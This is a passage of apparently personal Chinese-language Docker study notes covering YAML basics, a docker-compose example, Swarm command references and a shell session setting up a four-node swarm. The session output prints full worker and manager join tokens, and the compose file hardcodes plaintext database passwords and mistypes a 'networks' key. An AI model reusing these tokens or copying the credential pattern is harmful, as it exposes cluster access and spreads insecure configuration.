style=\"color:#f92672\"\u003e--\u003c/span\u003eipam\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eopt map         \u003cspan style=\"color:#75715e\"\u003e# 设置IPAM驱动程序的特定选项(默认map[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eipv6                 \u003cspan style=\"color:#75715e\"\u003e# 启用IPv6网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003elabel list           \u003cspan style=\"color:#75715e\"\u003e# 在网络中设置元数据\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eo, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eopt map              \u003cspan style=\"color:#75715e\"\u003e# 设置驱动程序特定选项(默认map[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003escope string         \u003cspan style=\"color:#75715e\"\u003e# 控制网络的范围\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003esubnet strings       \u003cspan style=\"color:#75715e\"\u003e# 指定一个CIDR格式的网段。示例：172.20.0.0/24\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 示例：\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker network create \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ed overlay \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eattachable apps_net\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 移除所有未使用的集群网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker network prune [OPTIONS]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 选项\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003efilter filter   \u003cspan style=\"color:#75715e\"\u003e# 提供过滤值(e.g. \u0026#39;until=\u0026lt;timestamp\u0026gt;\u0026#39;) \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ef, \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003eforce           \u003cspan style=\"color:#75715e\"\u003e# 强制，没有提示确认\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 删除一个或多个集群网络\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ docker network rm NETWORK [NETWORK\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 别名：rm, remove\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"开始配置\"\u003e开始配置\u003c/h2\u003e\n\u003cp\u003e环境准备\u003c/p\u003e","title":"docker swarm"},{"content":"docker 入门2 from: chenj_x12@foxmali.com\nDocker Compose 腾讯云\nCompose 简介 Compose 是用于定义和运行多容器 Docker 应用程序的工具。通过 Compose，您可以使用 YML 文件来配置应用程序需要的所有服务。然后，使用一个命令，就可以从 YML 文件配置中创建并启动所有服务\nYAML 菜鸟教程-YAML入门\n基本语法 大小写敏感 使用缩进表示层级关系 缩进不允许使用tab，只允许空格 缩进的空格数不重要，只要相同层级的元素左对齐即可 \u0026lsquo;#\u0026lsquo;表示注释 数据类型 YAML 支持以下几种数据类型：\n对象：键值对的集合，又称为映射（mapping）/ 哈希（hashes） / 字典（dictionary） 数组：一组按次序排列的值，又称为序列（sequence） / 列表（list） 纯量（scalars）：单个的、不可再分的值 YAML 对象 对象键值对使用冒号结构表示 key: value，冒号后面要加一个空格。\n也可以使用 key:{key1: value1, key2: value2, \u0026hellip;}。\n还可以使用缩进表示层级关系；\nkey: child-key: value child-key2: value2 较为复杂的对象格式，可以使用问号加一个空格代表一个复杂的 key，配合一个冒号加一个空格代表一个 value：\n? - complexkey1 - complexkey2 : - complexvalue1 - complexvalue2 意思即对象的属性是一个数组 [complexkey1,complexkey2]，对应的值也是一个数组 [complexvalue1,complexvalue2]\nYAML 数组 以 - 开头的行表示构成一个数组：\n- A - B - C YAML 支持多维数组，可以使用行内表示：\nkey: [value1, value2, ...] 数据结构的子成员是一个数组，则可以在该项下面缩进一个空格。\n- - A - B - C 一个相对复杂的例子：\ncompanies: - id: 1 name: company1 price: 200W - id: 2 name: company2 price: 500W 意思是 companies 属性是一个数组，每一个数组元素又是由 id、name、price 三个属性构成。\n数组也可以使用流式(flow)的方式表示：\ncompanies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}] 复合结构 数组和对象可以构成复合结构，例：\nlanguages: - Ruby - Perl - Python websites: YAML: yaml.org Ruby: ruby-lang.org Python: python.org Perl: use.perl.org 转换为 json 为：\n{ languages: [ \u0026#39;Ruby\u0026#39;, \u0026#39;Perl\u0026#39;, \u0026#39;Python\u0026#39;], websites: { YAML: \u0026#39;yaml.org\u0026#39;, Ruby: \u0026#39;ruby-lang.org\u0026#39;, Python: \u0026#39;python.org\u0026#39;, Perl: \u0026#39;use.perl.org\u0026#39; } } 纯量 纯量是最基本的，不可再分的值，包括：\n字符串 布尔值 整数 浮点数 Null 时间 日期 使用一个例子来快速了解纯量的基本使用：\nboolean: - TRUE #true,True都可以 - FALSE #false，False都可以 float: - 3.14 - 6.8523015e+5 #可以使用科学计数法 int: - 123 - 0b1010_0111_0100_1010_1110 #二进制表示 null: nodeName: \u0026#39;node\u0026#39; parent: ~ #使用~表示null string: - 哈哈 - \u0026#39;Hello world\u0026#39; #可以使用双引号或者单引号包裹特殊字符 - newline newline2 #字符串可以拆成多行，每一行会被转化成一个空格 date: - 2018-02-17 #日期必须使用ISO 8601格式，即yyyy-MM-dd datetime: - 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式，时间和日期之间使用T连接，最后使用+代表时区 引用 \u0026amp; 锚点和 ***** 别名，可以用来引用:\ndefaults: \u0026amp;defaults adapter: postgres host: localhost development: database: myapp_development \u0026lt;\u0026lt;: *defaults test: database: myapp_test \u0026lt;\u0026lt;: *defaults 相当于:\ndefaults: adapter: postgres host: localhost development: database: myapp_development adapter: postgres host: localhost test: database: myapp_test adapter: postgres host: localhost \u0026amp; 用来建立锚点（defaults），\u0026laquo; 表示合并到当前数据，***** 用来引用锚点。\n下面是另一个例子:\n- \u0026amp;showell Steve - Clark - Brian - Oren - *showell 转为 JavaScript 代码如下:\n[ \u0026#39;Steve\u0026#39;, \u0026#39;Clark\u0026#39;, \u0026#39;Brian\u0026#39;, \u0026#39;Oren\u0026#39;, \u0026#39;Steve\u0026#39; ] \\x00\ncompose 还是直接上例子吧\n# docker-compose.yml # version: \u0026#39;3.8\u0026#39; 这个啥时候被弃用了 services: web: build: ./flask-app ports: - \u0026#34;5000:5000\u0026#34; environment: - FLASK_ENV=development - DATABASE_HOST=mariadb - DATABASE_USER=ops - DATABASE_PASSWORD=password - DATABASE_NAME=ops_db volumes: - .:/app restart: always logging: driver: json-file options: max-size: \u0026#34;200k\u0026#34; max-file: \u0026#34;10\u0026#34; depends_on: - mariadb network: - mynetwork mariadb: build: ./mariadb ports: - \u0026#34;3306:3306\u0026#34; environment: - MYSQL_ROOT_PASSWORD=rootpassword - MYSQL_DATABASE=ops_db - MYSQL_USER=ops - MYSQL_PASSWORD=password volumes: - mariadb-data:/var/lib/mysql - ./mariadb/init.sql:/docker-entrypoint-initdb.d/init.sql restart: always logging: driver: json-file options: max-size: \u0026#34;200k\u0026#34; max-file: \u0026#34;10\u0026#34; network: - mynetwork nginx: build: ./nginx ports: - \u0026#34;80:80\u0026#34; - \u0026#34;443:443\u0026#34; - \u0026#34;8080:8080\u0026#34; depends_on: - web links: - web volumes: - ./nginx/nginx.conf:/etc/nginx/nginx.conf - ./nginx/common.conf:/etc/nginx/common.conf - ./nginx/ssl/cacert.pem:/etc/nginx/ssl/cacert.pem - ./nginx/ssl/privkey.pem:/etc/nginx/ssl/privkey.pem restart: always logging: driver: json-file options: max-size: \u0026#34;200k\u0026#34; max-file: \u0026#34;10\u0026#34; networks: - mynetwork volumes: mariadb-data: networks: mynetwork: driver: bridge Docker Swarm 学习来源：\n腾讯云 菜鸟教程 Swarm 简介 Docker Swarm 是 Docker 的集群管理工具。它将 Docker 主机池转变为单个虚拟 Docker 主机。 Docker Swarm 提供了标准的 Docker API，所有任何已经与 Docker 守护程序通信的工具都可以使用 Swarm 轻松地扩展到多个主机。\ndocker swarm：管理集群 # 初始化一个swarm docker swarm init [OPTIONS] # 选项： --advertise-addr string # 发布的地址（格式：\u0026lt;ip|interface\u0026gt;[:port]） --force-new-cluster # 强制从当前状态创建一个新的集群（去除本地之外的所有管理器身份） --cert-expiry duration # 节点证书有效期(ns|us|ms|s|m|h)(默认为2160h0m0s) --data-path-addr string # 用于数据路径通信的地址或接口(格式: \u0026lt;ip|interface\u0026gt;) --data-path-port uint32 # 用于数据路径流量的端口号(1024 - 49151)。如果没有值，则默认端口号4789 --dispatcher-heartbeat duration # 调度程序的心跳周期(ns|us|ms|s|m|h)(默认为5s) --listen-addr node-addr # 监听地址(格式: \u0026lt;ip|interface\u0026gt;[:port]) (默认 0.0.0.0:2377) # 查看加入节点到集群的命令及令牌(token) docker swarm join-token [OPTIONS] (worker|manager) # 选项： -q, --quiet # 只显示令牌 --rotate # 使旧令牌无效并生成新令牌 # 查看加入工作节点到集群的命令及令牌 docker swarm join-token worker # 查看加入管理节点到集群的命令及令牌 docker swarm join-token manager # 将节点加入swarm集群，作为一个manager或worker docker swarm join [OPTIONS] HOST:PORT # 选项： --advertise-addr string # 发布的地址 (格式: \u0026lt;ip|interface\u0026gt;[:port]) --availability string # 节点的可用性 (\u0026#34;active\u0026#34;|\u0026#34;pause\u0026#34;|\u0026#34;drain\u0026#34;) (default \u0026#34;active\u0026#34;) --data-path-addr string # 用于数据路径通信的地址或接口 (格式: \u0026lt;ip|interface\u0026gt;) --listen-addr node-addr # 监听地址 (格式: \u0026lt;ip|interface\u0026gt;[:port]) (default 0.0.0.0:2377) --token string # 进入的swarm集群的令牌 # 主动退出集群，让节点处于down状态（在需要退出Swarm集群的节点主机上执行命令） docker swarm leave [OPTIONS] # 选项： -f, --force # 强制。Manager若要退出 Swarm 集群，需要加上强制选项 ## 移除一个work-node节点主机的完整步骤： # 1.在管理节点上操作，清空work-node节点的容器。id 可以使用命令 docker node ls 查看 docker node update --availability drain [id] # 2.在work-node节点主机上操作，退出集群 docker swarm leave # 3，在管理节点上操作，删除work-node节点 docker node rm [id] # 若想解散整个集群，则需先移除所有work-node节点主机，然后所有管理节点也退出集群 # 更新 swarm 集群的配置 docker swarm update [OPTIONS] # 选项： --autolock # 更改管理器自动锁定设置(true|false) --cert-expiry duration # 节点证书有效期(ns|us|ms|s|m|h)(默认为2160h0m0s) --dispatcher-heartbeat duration # 调度程序心跳周期(ns|us|ms|s|m|h)(默认为5s) docker node：管理swarm集群节点 # 查看集群中的节点 docker node ls #选项： -f, --filter filter # 根据所提供的条件过滤输出。(格式：key=value) # 目前支持的过滤器是：id, label, name, membership[=accepted|pending] # , role[manager|worker] -q, --quiet # 只显示id # 查看运行的一个或多个及节点任务数，默认当前节点 docker node ps [OPTIONS] [NODE...] #选项： -f, --filter filter # 根据所提供的条件过滤输出 -q, --quiet # 只显示id # 将worker角色升级为manager docker node promote NODE [NODE...] # 将manager角色降级为worker docker node demote NODE [NODE...] # 查看节点的详细信息，默认json格式 docker node inspect 主机名 # 查看节点信息平铺格式 docker node inspect --pretty 主机名 # 从swarm中删除一个节点 docker node rm 主机名 # 从swarm中强制删除一个节点 docker node rm -f 主机名 # 更新一个节点 docker node update [options] 主机名 # 选项 --label-add list # 添加节点标签(key=value) --label-rm list # 删除节点标签 --role string # 更改节点角色 (\u0026#34;worker\u0026#34;|\u0026#34;manager\u0026#34;) --availability active/pause/drain # 设置节点的状态 # active 正常 # pause 暂停。调度程序不向节点分配新任务，但是现有任务仍然保持运行 # drain 排除自身work任务。调度程序不向节点分配新任务，且会关闭任何现有任务并在可用节点上安排它们 docker service：服务管理 # 列出服务列表 docker service ls # 列出服务任务信息 docker service ps [OPTIONS] SERVICE [SERVICE...] # 选项： --no-trunc # 显示完整的信息 -f, --filter filter # 根据所提供的条件过滤输出。过滤只运行的任务信息：\u0026#34;desired-state=running\u0026#34; -q, --quiet # 只显示任务id # 查看服务内输出 docker service logs [OPTIONS] SERVICE|TASK # 选项： --details # 显示提供给日志的额外细节 -f, --follow # 跟踪日志输出 --since string # 显示自时间戳 (2013-01-02T13:23:37Z) 或相对时间戳 (42m for 42 minutes) 以来的日志 -n, --tail string # 从日志末尾显示的行数(默认为“all”) -t, --timestamps # 显示时间戳 # 更新服务的相关配置 docker service update [options] 服务名 # 选项 --args \u0026#34;指令\u0026#34; # 容器加入指令 --image IMAGE # 更新服务容器镜像 --rollback # 回滚服务容器版本 --network-add 网络名 # 添加容器网络 --network-rm 网络名 # 删除容器网络 --reserve-cpu int # 更新分配的cpu --reserve-memory bytes # 更新分配的内存(示例：512m) --publish-add 暴露端口:容器端口 # 映射容器端口到主机 --publish-rm 暴露端口:容器端口 # 移除暴露端口 --endpoint-mode dnsrr # 修改负载均衡模式为dnsrr --force # 强制重启服务 --config-rm 配置文件名称 # 删除配置文件 --constraint-add list # 新增一个约束 --constraint-rm list # 移除一个约束 --placement-pref-add pref # 新增一个偏好 --placement-pref-rm pref # 移除一个偏好 --config-add 配置文件名，target=/../容器内配置文件名 # 添加新的配置文件到容器内 # 查看服务详细信息，默认json格式 docker service inspect [OPTIONS] 服务名 [SERVICE...] # 查看服务信息平铺形式 docker service inspect --pretty 服务名 # 删除服务 docker service rm [OPTIONS] 服务名 [SERVICE...] # 缩容扩容服务容器副本数量 docker service scale 服务名=副本数 [SERVICE=REPLICAS...] # 创建一个服务。一般搭建好 Swarm 集群后，使用 docker stack 部署应用，此处仅作了解 docker service create [OPTIONS] IMAGE [COMMAND] [ARG...] # 选项： --name string # 指定容器名称 --replicas int # 指定副本数 --network 网络名 # 添加网络组 --mode string # 服务模式（复制或全局）(replicated | global) --reserve-cpu int # 预留的cpu --reserve-memory bytes # 预留的内存(512m) --limit-cpu int # 限制CPU --limit-memory bytes # 限制内存(512m) -l, --label list # 服务的标签(key=value) --container-label list # 容器标签(key=value) -p, --publish 暴露端口:容器端口 # 映射容器端口到主机 -e, --env MYVAR=myvalue # 配置环境变量 -w, --workdir string # 指定工作目录(示例：/tmp) -restart-condition string # 满足条件时重新启动（no | always | on-failure | unless-stopped） --restart-delay duration # 重新启动尝试之间的延迟 (ns/us/ms/s/m/h) --restart-max-attempts int # 放弃前的最大重启次数 --restart-window duration # 用于评估重启策略的窗口 (ns/us/ms/s/m/h) --stop-grace-period duration # 强制杀死容器前的等待时间 (ns/us/ms/s/m/h) --update-delay duration # 更新之间的延迟（ns/us/ms/s/m/h）（默认 0s） --update-failure-action string # 更新失败的操作（\u0026#34;pause\u0026#34;停止|\u0026#34;continue\u0026#34;继续）（默认pause） --update-max-failure-ratio float # 更新期间容忍的失败率 --update-monitor duration # 每次任务更新后监控失败的持续时间（ns/us/ms/s/m/h）（默认 0s） --update-parallelism int # 同时更新的最大任务数(0表示一次更新全部任务)(默认为1) --endpoint-mode string # 负载均衡模式(vip or dnsrr) (默认 \u0026#34;vip\u0026#34;) --rollback-monitor 20s # 每次容器与容器之间的回滚时间间隔 --rollback-max-failure-ratio .数值 # 回滚故障率如果小于百分比允许运行（“.2”为%20） --mount type=volume,src=volume名称,dst=容器目录 # 创建volume类型数据卷 --mount type=bind,src=宿主目录,dst=容器目录 # 创建bind读写目录挂载 --mount type=bind,src=宿主目录,dst=容器目录,readonly # 创建bind只读目录挂载 --config source=docker配置文件,target=配置文件路径 # 创建docker配置文件到容器本地目录 docker secret：管理敏感数据存储 # 查看敏感数据卷列表 $ docker secret ls # 显示一个或多个敏感数据卷的详细信息 $ docker secret inspect [OPTIONS] SECRET [SECRET...] # 选项 --pretty # 易读的格式打印信息 # 从文件或标准输入创建一个敏感数据卷作为内容 $ docker secret create [OPTIONS] SECRET [file|-] # 选项 -d, --driver string # 指定驱动 -l, --label list # 指定标签 --template-driver string # 指定模板驱动程序 # 移除一个或多个敏感数据卷 $ docker secret rm SECRET [SECRET...] # 别名：rm, remove docker config：管理配置文件 # 查看已创建配置文件 docker config ls [OPTIONS] # 选项： -f, --filter filter # 根据所提供的条件过滤输出 -q, --quiet # 只显示id # 查看配置详细信息 docker config inspect 配置文件名 # 删除配置 docker config rm CONFIG [CONFIG...] # 创建配置文件 docker config create 配置文件名 本地配置文件 # 示例：新建配置文件并添加新配置文件到服务 # 1.创建配置文件 docker config create nginx2_config nginx2.conf # 2.删除旧配置文件 docker service update --config-rm ce_nginx_config 服务名 # 3.添加新配置文件到服务 docker service update --config-add src=nginx2_config,target=/etc/nginx/nginx.conf ce_nginx docker network: 网络信息 # 查看集群网络列表 docker network ls # 将容器连接到集群网络中 $ docker network connect [OPTIONS] NETWORK CONTAINER # 选项 --alias strings # 为容器添加网络范围的别名 --driver-opt string · # 指定网络驱动程序 --ip string # 指定IPv4地址(如172.30.100.104) --ip6 string # 指定IPv6地址(例如，2001:db8::33) --link list # 添加到另一个容器的链接 --link-local-ip string # 为容器添加一个链接本地地址 # 示例 docker network connect mynet nginx # 断开一个容器与集群网络的连接 $ docker network disconnect [OPTIONS] NETWORK CONTAINER # 选项 -f, --force # 强制容器从网络断开连接 # 显示一个或多个集群网络的详细信息 $ docker network inspect [OPTIONS] NETWORK [NETWORK...] # 选项 -f, --format string # 使用给定的Go模板格式化输出 -v, --verbose # 输出详细的诊断信息 # 创建一个集群网络 $ docker network create [OPTIONS] NETWORK # 选项 --attachable # 准许手动容器连接 --aux-address map # 网络驱动使用的辅助IPv4或IPv6地址(默认映射[]) --config-from string # 要从其中复制配置的网络 --config-only # 创建仅配置网络 -d, --driver string # 管理网络的驱动程序(默认为“\u0026#34;bridge”)。选项：bridge、overlay、macvlan --gateway strings # 指定IPv4或IPv6主子网网关。示例：172.20.0.1 --ingress # 创建群路由-网格网络 --internal # 限制外部访问网络 --ip-range strings # 从子范围分配容器ip --ipam-driver string # IP管理驱动(默认为“default”) --ipam-opt map # 设置IPAM驱动程序的特定选项(默认map[]) --ipv6 # 启用IPv6网络 --label list # 在网络中设置元数据 -o, --opt map # 设置驱动程序特定选项(默认map[]) --scope string # 控制网络的范围 --subnet strings # 指定一个CIDR格式的网段。示例：172.20.0.0/24 # 示例： docker network create -d overlay --attachable apps_net # 移除所有未使用的集群网络 $ docker network prune [OPTIONS] # 选项 --filter filter # 提供过滤值(e.g. \u0026#39;until=\u0026lt;timestamp\u0026gt;\u0026#39;) -f, --force # 强制，没有提示确认 # 删除一个或多个集群网络 $ docker network rm NETWORK [NETWORK...] # 别名：rm, remove 开始配置 环境准备\n1、修改主机名 2、配置IP地址 3、关闭防火墙和SELINUX安全模式 4、配置系统YUM源和Docker镜像源 5、更新系统（yum update -y） 6、安装好docker环境\n初始化集群 docker swarm init --advertise-addr 192.168.65.148 root@chenjx12-0:~# docker swarm init --advertise-addr 192.168.65.148 Swarm initialized: current node (1e0chr8bpn27vlq9g056zy7a2) is now a manager. To add a worker to this swarm, run the following command: docker swarm join --token SWMTKN-1-10u0nu575ou6thien8kscddxebzsnatljdytcas3n9sgin5jog-9cu9j19pfitelu1oap7rgdlub 192.168.65.148:2377 To add a manager to this swarm, run \u0026#39;docker swarm join-token manager\u0026#39; and follow the instructions. root@chenjx12-0:~# docker swarm join-token manager To add a manager to this swarm, run the following command: docker swarm join --token SWMTKN-1-10u0nu575ou6thien8kscddxebzsnatljdytcas3n9sgin5jog-ejpgz6tdq0xsm3c6qjrstq299 192.168.65.148:2377 让其他节点加入集群 root@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Leader 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 g6vxdk2myltc9i9lwx1zr3s4i chenjx12-3 Ready Active 27.3.1 查看详细情况 root@chenjx12-0:~# docker info Client: Docker Engine - Community Version: 27.3.1 Context: default Debug Mode: false Plugins: buildx: Docker Buildx (Docker Inc.) Version: v0.17.1 Path: /usr/libexec/docker/cli-plugins/docker-buildx compose: Docker Compose (Docker Inc.) Version: v2.29.7 Path: /usr/libexec/docker/cli-plugins/docker-compose Server: Containers: 0 Running: 0 Paused: 0 Stopped: 0 Images: 0 Server Version: 27.3.1 Storage Driver: overlay2 Backing Filesystem: extfs Supports d_type: true Using metacopy: false Native Overlay Diff: true userxattr: false Logging Driver: json-file Cgroup Driver: systemd Cgroup Version: 2 Plugins: Volume: local Network: bridge host ipvlan macvlan null overlay Log: awslogs fluentd gcplogs gelf journald json-file local splunk syslog Swarm: active NodeID: 1e0chr8bpn27vlq9g056zy7a2 Is Manager: true ClusterID: ye2nnvev8mzdyv0g56ee0ka6w Managers: 1 Nodes: 4 Data Path Port: 4789 Orchestration: Task History Retention Limit: 5 Raft: Snapshot Interval: 10000 Number of Old Snapshots to Retain: 0 Heartbeat Tick: 1 Election Tick: 10 Dispatcher: Heartbeat Period: 5 seconds CA Configuration: Expiry Duration: 3 months Force Rotate: 0 Autolock Managers: false Root Rotation In Progress: false Node Address: 192.168.65.148 Manager Addresses: 192.168.65.148:2377 Runtimes: io.containerd.runc.v2 runc Default Runtime: runc Init Binary: docker-init containerd version: 7f7fdf5fed64eb6a7caf99b3e12efcf9d60e311c runc version: v1.1.14-0-g2c9f560 init version: de40ad0 Security Options: apparmor seccomp Profile: builtin cgroupns Kernel Version: 6.1.0-26-amd64 Operating System: Debian GNU/Linux 12 (bookworm) OSType: linux Architecture: x86_64 CPUs: 4 Total Memory: 1.887GiB Name: chenjx12-0 ID: 8d684424-29b4-4611-8a59-d4ce19b0f9da Docker Root Dir: /var/lib/docker Debug Mode: false Experimental: false Insecure Registries: 127.0.0.0/8 Live Restore Enabled: false WARNING: bridge-nf-call-iptables is disabled WARNING: bridge-nf-call-ip6tables is disabled 查看网络信息 root@chenjx12-0:~# docker network ls NETWORK ID NAME DRIVER SCOPE a162d4d5a77e bridge bridge local 1f622764003c docker_gwbridge bridge local 8f11bd442416 host host local d8isx3sccunf ingress overlay swarm 3b8eea1a0902 none null local root@chenjx12-0:~# docker network inspect d8isx3sccunf [ { \u0026#34;Name\u0026#34;: \u0026#34;ingress\u0026#34;, \u0026#34;Id\u0026#34;: \u0026#34;d8isx3sccunf33xeb63c1v21x\u0026#34;, \u0026#34;Created\u0026#34;: \u0026#34;2024-10-28T19:50:32.014998441+08:00\u0026#34;, \u0026#34;Scope\u0026#34;: \u0026#34;swarm\u0026#34;, \u0026#34;Driver\u0026#34;: \u0026#34;overlay\u0026#34;, \u0026#34;EnableIPv6\u0026#34;: false, \u0026#34;IPAM\u0026#34;: { \u0026#34;Driver\u0026#34;: \u0026#34;default\u0026#34;, \u0026#34;Options\u0026#34;: null, \u0026#34;Config\u0026#34;: [ { \u0026#34;Subnet\u0026#34;: \u0026#34;10.0.0.0/24\u0026#34;, \u0026#34;Gateway\u0026#34;: \u0026#34;10.0.0.1\u0026#34; } ] }, \u0026#34;Internal\u0026#34;: false, \u0026#34;Attachable\u0026#34;: false, \u0026#34;Ingress\u0026#34;: true, \u0026#34;ConfigFrom\u0026#34;: { \u0026#34;Network\u0026#34;: \u0026#34;\u0026#34; }, \u0026#34;ConfigOnly\u0026#34;: false, \u0026#34;Containers\u0026#34;: { \u0026#34;ingress-sbox\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;ingress-endpoint\u0026#34;, \u0026#34;EndpointID\u0026#34;: \u0026#34;f2dd609d5bc4ba0cb7206b7e4bdc3cd1ba232d727841b693805eecd1b591f7b9\u0026#34;, \u0026#34;MacAddress\u0026#34;: \u0026#34;02:42:0a:00:00:02\u0026#34;, \u0026#34;IPv4Address\u0026#34;: \u0026#34;10.0.0.2/24\u0026#34;, \u0026#34;IPv6Address\u0026#34;: \u0026#34;\u0026#34; } }, \u0026#34;Options\u0026#34;: { \u0026#34;com.docker.network.driver.overlay.vxlanid_list\u0026#34;: \u0026#34;4096\u0026#34; }, \u0026#34;Labels\u0026#34;: {}, \u0026#34;Peers\u0026#34;: [ { \u0026#34;Name\u0026#34;: \u0026#34;b4947f7ebf00\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;192.168.65.148\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;bac21fa67653\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;192.168.65.154\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;d6c037335dd0\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;192.168.65.155\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;3b5f5c73c94c\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;192.168.65.152\u0026#34; } ] } ] 更换节点的角色（manager \u0026ndash; worker） root@chenjx12-0:~# docker node update -h Flag shorthand -h has been deprecated, use --help Usage: docker node update [OPTIONS] NODE Update a node Options: --availability string Availability of the node (\u0026#34;active\u0026#34;, \u0026#34;pause\u0026#34;, \u0026#34;drain\u0026#34;) --label-add list Add or update a node label (\u0026#34;key=value\u0026#34;) --label-rm list Remove a node label if exists --role string Role of the node (\u0026#34;worker\u0026#34;, \u0026#34;manager\u0026#34;) root@chenjx12-0:~# docker node update --role manager chenjx12-1 chenjx12-1 root@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Leader 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active Reachable 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 g6vxdk2myltc9i9lwx1zr3s4i chenjx12-3 Ready Active 27.3.1 root@chenjx12-0:~# docker node update --role worker chenjx12-1 chenjx12-1 root@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Leader 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 g6vxdk2myltc9i9lwx1zr3s4i chenjx12-3 Ready Active 27.3.1 节点退出集群 在3号节点上使用命令，回到0号节点发现3号节点下线了（down）\nroot@chenjx12-0:~# docker swarm leave -h Flag shorthand -h has been deprecated, use --help Usage: docker swarm leave [OPTIONS] Leave the swarm Options: -f, --force Force this node to leave the swarm, ignoring warnings root@chenjx12-3:~# docker swarm leave -f Node left the swarm. root@chenjx12-0:~# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 1e0chr8bpn27vlq9g056zy7a2 * chenjx12-0 Ready Active Leader 27.3.1 jb55cgd88n5tl2ybdokhznq1t chenjx12-1 Ready Active 27.3.1 oav94gisk9wm4mfuqvzpfhqzh chenjx12-2 Ready Active 27.3.1 g6vxdk2myltc9i9lwx1zr3s4i chenjx12-3 Down Active 27.3.1 删除节点 docker node rm [id] 注意，删除节点无法删除manager管理节点，需要先--role worker，才能rm\n服务部署 查看help\nroot@chenjx12-0:~# docker service Usage: docker service COMMAND Manage Swarm services Commands: create Create a new service inspect Display detailed information on one or more services logs Fetch the logs of a service or task ls List services ps List the tasks of one or more services rm Remove one or more services rollback Revert changes to a service\u0026#39;s configuration scale Scale one or multiple replicated services update Update a service Run \u0026#39;docker service COMMAND --help\u0026#39; for more information on a command. 先在leader上pull一个nginx root@chenjx12-0:/etc/docker# docker pull nginx Using default tag: latest latest: Pulling from library/nginx a480a496ba95: Pull complete f3ace1b8ce45: Pull complete 11d6fdd0e8a7: Pull complete f1091da6fd5c: Pull complete 40eea07b53d8: Pull complete 6476794e50f4: Pull complete 70850b3ec6b2: Pull complete Digest: 